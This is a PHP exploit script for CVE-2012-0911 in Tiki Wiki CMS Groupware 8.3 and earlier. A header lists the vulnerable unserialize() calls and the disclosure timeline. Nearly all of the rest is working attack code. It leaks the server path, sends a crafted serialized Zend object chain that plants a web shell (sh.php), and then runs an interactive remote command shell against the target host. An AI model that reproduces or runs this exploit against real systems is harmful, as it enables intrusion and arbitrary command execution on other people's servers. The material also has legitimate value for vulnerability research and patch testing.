<?php
/*
-----------------------------------------------------------------
Tiki Wiki CMS Groupware <= 8.3 "unserialize()" PHP Code Execution
-----------------------------------------------------------------
author...........: Egidio Romano aka EgiX
mail.............: n0b0d13s[at]gmail[dot]com
software link....: http://info.tiki.org/
+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+
[-] Vulnerable code in different locations:
lib/banners/bannerlib.php:28: $views = unserialize($_COOKIE[$cookieName]);
lib/banners/bannerlib.php:136: $views = unserialize($_COOKIE[$cookieName]);
tiki-print_multi_pages.php:19: $printpages = unserialize(urldecode($_REQUEST['printpages']));
tiki-print_multi_pages.php:24: $printstructures = unserialize(urldecode($_REQUEST['printstructures']));
tiki-print_pages.php:31: $printpages = unserialize(urldecode($_REQUEST["printpages"]));
tiki-print_pages.php:32: $printstructures = unserialize(urldecode($_REQUEST['printstructures']));
tiki-send_objects.php:42: $sendpages = unserialize(urldecode($_REQUEST['sendpages']));
tiki-send_objects.php:48: $sendstructures = unserialize(urldecode($_REQUEST['sendstructures']));
tiki-send_objects.php:54: $sendarticles = unserialize(urldecode($_REQUEST['sendarticles']));
The vulnerability is caused due to all these scripts using "unserialize()" with user controlled input.
This can lead to execution of arbitrary PHP code passing an ad-hoc Zend Framework serialized object.
[-] Full path disclosure at:
http://[host]/[path]/admin/include_calendar.php
http://[host]/[path]/tiki-rss_error.php
http://[host]/[path]/tiki-watershed_service.php
[-] Disclosure timeline:
[11/01/2012] - Vulnerability discovered
[14/01/2012] - Issue reported to security(at)tikiwiki.org
[14/01/2012] - New ticket opened: http://dev.tiki.org/item4109
[23/01/2012] - CVE number requested
[23/01/2012] - Assigned CVE-2012-0911
[01/05/2012] - Version 8.4 released: http://info.tiki.org/article191-Tiki-Releases-8-4
[04/07/2012] - Public disclosure
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n");
fputs($sock, $packet);
return stream_get_contents($sock);
}
function get_path()
{
global $host, $path;
$packet = "GET {$path}tiki-rss_error.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";
if (!preg_match('/in <b>(.*)tiki-rss/', http_send($host, $packet), $m)) die("\n[-] Path not found!\n");
return $m[1];
}
print "\n+----------------------------------------------------------------------+";
print "\n| Tiki Wiki CMS Groupware <= 8.3 Remote Code Execution Exploit by EgiX |";
print "\n+----------------------------------------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage......: php $argv[0] <host> <path>\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /tiki/\n";
die();
}
list($host, $path) = array($argv[1], $argv[2]);
$f_path = get_path();
print "\n[-] Path disclosure: {$f_path}\n";
class Zend_Search_Lucene_Index_FieldInfo
{
public $name = '<?php error_reporting(0); print(___); passthru(base64_decode($_SERVER[HTTP_CMD])); die; ?>';
}
class Zend_Search_Lucene_Storage_Directory_Filesystem
{
protected $_dirPath = null;
public function __construct($path)
{
$this->_dirPath = $path;
}
}
interface Zend_Pdf_ElementFactory_Interface {}
class Zend_Search_Lucene_Index_SegmentWriter_StreamWriter implements Zend_Pdf_ElementFactory_Interface
{
protected $_docCount = 1;
protected $_name = 'foo';
protected $_directory;
protected $_fields;
protected $_files;
public function __construct($directory, $fields)
{
$this->_directory = $directory;
$this->_fields = array($fields);
$this->_files = new stdClass;
}
}
class Zend_Pdf_ElementFactory_Proxy
{
private $_factory;
public function __construct(Zend_Pdf_ElementFactory_Interface $factory)
{
$this->_factory = $factory;
}
}
// http://www.suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf
$directory = new Zend_Search_Lucene_Storage_Directory_Filesystem($f_path."sh.php\0");
$__factory = new Zend_Search_Lucene_Index_SegmentWriter_StreamWriter($directory, new Zend_Search_Lucene_Index_FieldInfo);
$____proxy = new Zend_Pdf_ElementFactory_Proxy($__factory);
$payload = urlencode(serialize($____proxy));
$payload = str_replace('%00', '%2500', $payload);
$payload = "printpages={$payload}";
$packet = "POST {$path}tiki-print_multi_pages.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
if (preg_match('/multiprint/', http_send($host, $packet))) die("[-] Multi-print feature disabled!\n");
$packet = "GET {$path}sh.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";
while(1)
{
print "\ntiki-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$response = http_send($host, sprintf($packet, base64_encode($cmd)));
preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}
